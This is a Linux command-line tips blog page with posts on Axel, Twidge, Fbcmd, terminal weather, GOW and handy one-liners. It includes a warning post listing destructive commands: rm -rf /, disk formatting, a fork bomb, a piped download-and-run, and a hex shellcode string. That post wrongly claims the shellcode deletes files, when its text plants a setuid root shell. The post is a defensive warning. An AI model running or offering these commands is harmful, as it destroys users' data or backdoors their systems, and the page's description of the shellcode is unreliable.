Axel: Command Line Download accelerator

2:16 AM

You must have read or heard about wget command line download utility. It provides  immense capabilities, but when it comes to accelerating the download speed, wget doesn't provide any option. But Axel is one such tool which do the job of a download accelerator very well.
Axel does the same thing any other accelerator does: it opens more than one HTTP/FTP connection per download and each connection transfers its own, separate, part of the file.

Downloading Axel

For Ubuntu Axel is available in the default apt repositories, open the terminal and issue the following command.
  • $ sudo apt-get install axel

Using Axel


Download from multiple locations
  • $ axel <url1> <url2> <url3>
This will use all these mirrors to download the file.

Limit the download speed
  • $ axel -s 3000000 <url>
Mention the speed in bytes per second.

Limit the number of concurrent connections or threads
  • $ axel -n 3 <url>
Change the name of the output file
  • $ axel -o output_file.ext <url>
Mentioning a directory will save the file in that directory.

View the download information of each connection or thread
  • $ axel -a n 3 <url>

Thanks for reading :-)

0 comments

» read more....

Twidge: Twitter Client for Linux Terminal

9:30 PM


Twidge is a terminal client for microblogging sites such as Twitter and identi.ca.

Twidge is a full command-line client. It is designed to be useful when you’re sitting at a shell prompt. It produces output in well-formed and easily-parsed ways, and has various features for working with piped data.

There are other command line tools for twitter which are also available, but most of them are not updated for the changes in twitter security settings.
Here is how you can install and configure Twidge,

Twidge is available in the oneiric apt repositories, so if you are using Ubuntu 11.10 you just need to install Twidge using the install command.
  • $ sudo apt-get install twidge
But if you are using any other version of Ubuntu, you need to manually add the repositories for Twidge.
  • $ sudo gedit /etc/apt/sources.list
Append the following line at the end of the text,
deb http://ftp.de.debian.org/debian squeeze main
Save this repository to your sources.list to be able to download Twidge. In order to install from the command line, run:
  • $ sudo apt-get update 
  • $ sudo apt-get install twidge
Twidge Setup:

 Issue the following command in the terminal
  • $ twidge setup
Twidge Setup will generate a URL for the authentication (see the below image), copy the URL and paste it into your browser, it will ask you to login with your login credentials, just login and it will generate an authentication code.

Enter the authentication code in the terminal, and you are done and ready tweet the geek way :)


Some useful Twidge commands:

For the detailed description for the twidge commands look inside Twidge man pages.
  • $ man twidge
Or, you use lscommand to see the full list of commands at glance,
  • $ twidge lscommands
Here are some quick commands for day to day usage,

Status update:
  • $ twidge update
And then typing your 140 character update,

Check your @replies:
  • $ twidge lsreplies
Check most recent updates:
  •  $ twidge lsrecent


Lets tweet the geek style :)

0 comments

» read more....

Weather Information in Linux Terminal

2:37 AM

Linux Terminal makes life easy for day to day administration on a Linux Desktop. And if you are a Power user and spend most of the time on the command prompt, you might want to have some dynamic information such as Weather condition available each time you open the Terminal.



Here is a way to get Weather Information in the Linux Terminal both in graphic (gnome, KDE, Unity) and text login (Ctrl + Alt + F1 to F7) modes.

First install the weather-util package from apt repositories.
  • $ sudo apt-get install weather-util
You’ll need your local weather code, which you can get from this website.

For Graphic Login:

Open the .bashrc file
  •  $ sudo vi ~/.bashrc
Press Insert, And append the following lines at the end of the file.

# Weather Information
weather -i CODE 
Where CODE is the code of your location, like VIDP is the code of New Delhi in my case.

Press Esc, and :wq to save and exit the vi editor.

Close the Terminal and reopen, it will display the weather information before the bash prompt.

For Text Login:

You first need to create a script in the appropriate location using vi editor.
  • $  sudo vi /etc/update-motd.d/98-weather
Press Insert and enter the following code, replacing CODE with your local weather code
#!/bin/sh
echo
weather -i CODE
echo
Press Esc, and :wq to save and exit.

Make it executable using chmod
  • sudo chmod +x /etc/update-motd.d/98-weather

Press Ctrl + Alt + F1 and login to see the script working.

Voila :)






0 comments

» read more....

Fbcmd: Use Facebook from Command Line

4:51 PM

Hello everybody! How are you? I hope everything is well there :) Today I'd like to write a post about Fbcmd. Fbcmd is a command line interface (CLI) for Facebook which is open-source and works on Windows, Linux, and Mac. Fbcmd was originally created for "fast" status update and posting some items on news feed, but it has additional features too! In this post, we'll cover how to get Fbcmd running on Linux system, how to configure it and finally a simple example on how to post status update on Facebook with this cool stuff.


Installing required components
Fbcmd created with PHP programming language, so we need PHP interpreter to run this application:
  • sudo apt-get install php5 php5-cli
Check whether everything is installed correctly by typing the following command:
  • php -r "echo phpversion();"
Now, please make sure that PHP is configured correctly, especially "allow_url_fopen" variable in php.ini  must be set to "On".

  • cat /etc/php5/cli/php.ini | grep allow_url

If the value of "allow_url_fopen" is still "Off" set it to "On"!

Installing Fbcmd
Please download Fbcmd zipped package here, then type the following commands to install it:
  • unzip fbcmd.zip
  • cd fbcmd
  • sudo php fbcmd_update.php
  • sudo php fbcmd_update.php install
It needs some times to install because it will search for update on the Internet. Once installed, please type "fbcmd" on Terminal the check wheter Fbcmd is installed correctly.


One-Time Configuration
The purpose of this step is to gain access to your Facebook account, so please be patient if there will a lot of commands to run. Don't worry, you should run this step only once!
Please make sure, you have logged into your Facebook account:
  • fbcmd go access
A window of web browser will be opened and you will be prompted to give "initial" permission to Fbcmd accessing your account (for Auth Code generation process). Now, Fbcmd needs to generate Auth Code (or One-time code) from your account, simply type the following command:
  • fbcmd go auth
A web browser window will be opened again and you need to "Generate" one-time code which will be entered to Fbcmd application in order to gain "full" access to your Facebook account. Please, generate the code and remember, copy, or save the unique code.

Once, One-time code successfully generated, run this command to enter it to the application:
  • fbcmd auth XXXXXX
Replace "XXXXXX" with your unique code. There is one more step to give Fbcmd "full" access to your Facebook account:
  • fbcmd addperm
You've done! Now you can use Fbcmd as you wish. I'll give an example on how to post status update using Fbcmd:
  • fbcmd status "This is a test status update using Fbcmd"
There are still a lot of commands of Fbcmd, you can read all of them including the examples here.

0 comments

» read more....

7 Most Dangerous Linux Commands

7:35 AM

If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)

First command:
  • rm -rf / #with root privilege such as 'sudo'
This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:




Second command:
  • char esp[] __attribute__ ((section(".text"))) /* e.s.p
  • release */
  • = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
  • "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
  • "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
  • "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
  • "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
  • "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
  • "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
  • "cp -p /bin/sh /tmp/.beyond; chmod 4755
  • /tmp/.beyond;";
Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.

Third command:

  • mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.

Fourth command:

  • :(){:|:&};:

Will run too many processes on your system and causes the computer hang up!

Fifth command:

  • any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.

Sixth command:

  • wget http://sumber_tak_terpercaya -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.

Seventh command:

  • mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.

So be careful and do a check before running such commands on your system.

Regards.

0 comments

» read more....

10+ Useful Commands for Linux Users

7:16 AM

Linux command prompt is the most interesting place in the system. You can do a lot with it. You can do everything you want and get the "exact" answer about what is going on. Here are some useful Linux commands you could take some advantages from.




1. Save man-page asPDF file
For example, you want save the manpage of APT to PDF file.
  • man -t apt | ps2pdf - apt.pdf

2. Duplicate installed packages from one machine to the other (RPM-based systems)
  • ssh root@remote.host "rpm -qa" | xargs yum -y install

3. Stamp a text line on top of the PDF pages
This command will add a stamp "This text gets stamped on the top of the pdf pages." on top of each PDF pages.
  • echo "This text gets stamped on the top of the pdf pages." | enscript -B -f Courier-Bold16 -o- | ps2pdf - | pdftk input.pdf stamp - output output.pdf

4. Display the number of connections to a MySQL Database
  • mysql -u root -p -BNe "select host,count(host) from processlist group by host;" information_schema

5. Create a local compressed archive (tarball) from remote host directory
  • ssh user@host "tar -zcf - /path/to/dir" > dir.tar.gz

6. View a brief log over ssh
  • ssh -t remotebox "tail -f /var/log/remote.log"

7. Print diagram of user or group
  • awk 'BEGIN{FS=":"; print "digraph{"}{split($4, a, ","); for (i in a) printf "\"%s\" [shape=box]\n\"%s\" -> \"%s\"\n", $1, a[i], $1}END{print "}"}' /etc/group|display

8. Draw kernel module dependency graph
  • lsmod | perl -e 'print "digraph \"lsmod\" {";<>;while(<>){@_=split/\s+/; print "\"$_[0]\" -> \"$_\"\n" for split/,/,$_[3]}print "}"' | dot -Tpng | display -

9. Generate strong password
  • read -s pass; echo $pass | md5sum | base64 | cut -c -16

10. Find all files larger than 500M and less than 1GB
  • find / -type f -size +500M -size -1G

11. Limit the cpu usage of a process
  • sudo cpulimit -p pid -l 50

via: Unixmen

0 comments

» read more....

Easily Run Various Linux Commands on Windows Using GOW

10:33 PM

Linux has powerful command line tools, we can do almost everything there e.g. file editing, installing or removing application, managing files and directories, downloading stuff from the Internet and even playing your favorite songs. Windows users should be jealous with the Linux command line tools, but don't worry, Windows users can still run various Linux commands with ease by using GOW. GOW stands for GNU On Windows is a tool likes Cygwin but the lightweight one. It brings 130 powerful Linux commands on Windows operating system.


GOW lets you run shell script, edit text files with Vim, search your text with grep, download from FTP with sftp, manage your files and directories with mv, cp. du, rmdir, whereis and more Linux commands from Windows CMD window.


Here is the complete list of commands:

  • agrep 3.37
  • ansi2knr
  • basename 1.9.4
  • bash 2.03
  • bc 1.05
  • bison 1.28
  • bunzip2 1.0.1
  • bzip2 1.0.1
  • bzip2recover 1.0
  • cat 2.0
  • chgrp 3.16
  • chmod 3.16
  • chown 3.16
  • cksum 2.0
  • cmp 2.7
  • comm 2.0
  • compress 2.0
  • cp 3.16
  • csplit 2.0
  • curl 7.15.0
  • cut 2.0
  • cvs 2.0.41a
  • dc 1.2
  • dd 3.16
  • df 3.16
  • diff 2.7
  • diff3 2.7
  • dircolors 3.16
  • dirname 1.13
  • dos2unix
  • du 3.16
  • egrep 2.4.2
  • env 1.9.4
  • expand 5.1.2600.0
  • expr 1.9.4
  • factor 1.13
  • fgrep 2.4.2
  • flex 2.5.4
  • fmt 2.0
  • fold 2.0
  • fsplit
  • gawk 3.1.0
  • gclip 1.0
  • gow
  • gplay
  • grep 2.4.2
  • gsar 1.12
  • gunzip 1.2.4
  • gzip 1.2.4
  • head 2.0
  • id 1.9.4
  • indent 2.2.6
  • install 3.16
  • join 2.0
  • jwhois 2.4.1
  • less 340
  • lesskey 340
  • ln 3.16
  • logname 1.9.4
  • ls 3.16
  • m4 1.4
  • make 3.78.1
  • md5sum 2.0
  • mkdir
  • mkfifo
  • mknod 3.16

  • mv 3.16
  • mvdir 3.16
  • ncftp 3.1.8
  • nl 2.0
  • od 2.0
  • pageant 0.60
  • paste 2.5
  • patch 2.0
  • pathchk 1.9.4
  • pclip 1.0
  • plink 0.60
  • pr 2.0
  • printenv 1.9.4
  • printf 1.9.4
  • pscp 0.60
  • psftp 0.60
  • putty 0.60
  • puttygen 0.57
  • pwd
  • recode 3.6
  • rm 3.16
  • rman 3.0.7
  • rmdir
  • rsync 2.6.3
  • scp
  • sdiff 2.7
  • sed 3.02
  • seq 1.13
  • sftp
  • sh
  • shar 4.1
  • sleep 1.9.4
  • sort 2.0
  • split 2.0
  • stego
  • su 1.9.4
  • sum 2.0
  • sync 3.16
  • tac 2.0
  • tail 2.0
  • tar 1.12
  • tee 1.9.4
  • test 1.9.4
  • touch 3.16
  • tr 2.0
  • type
  • uname 1.9.4
  • unexpand 2.0
  • uniq 2.0
  • unix2dos
  • unrar 3.4.3
  • unshar 4.1
  • unzip 2.3
  • uudecode 4.1
  • vim 6.3
  • wc 2.0
  • wget 1.8.1
  • whereis
  • which 2.4
  • whoami 1.9.4
  • xargs 4.1
  • yes 1.9.4
  • zcat 1.2.4
  • zip 3.0

GOW supports most modern version of Windows including Windows XP, Windows Vista, and Windows 7 both 32bit and 64bit.

Download GOW (GNU On Windows)

0 comments

» read more....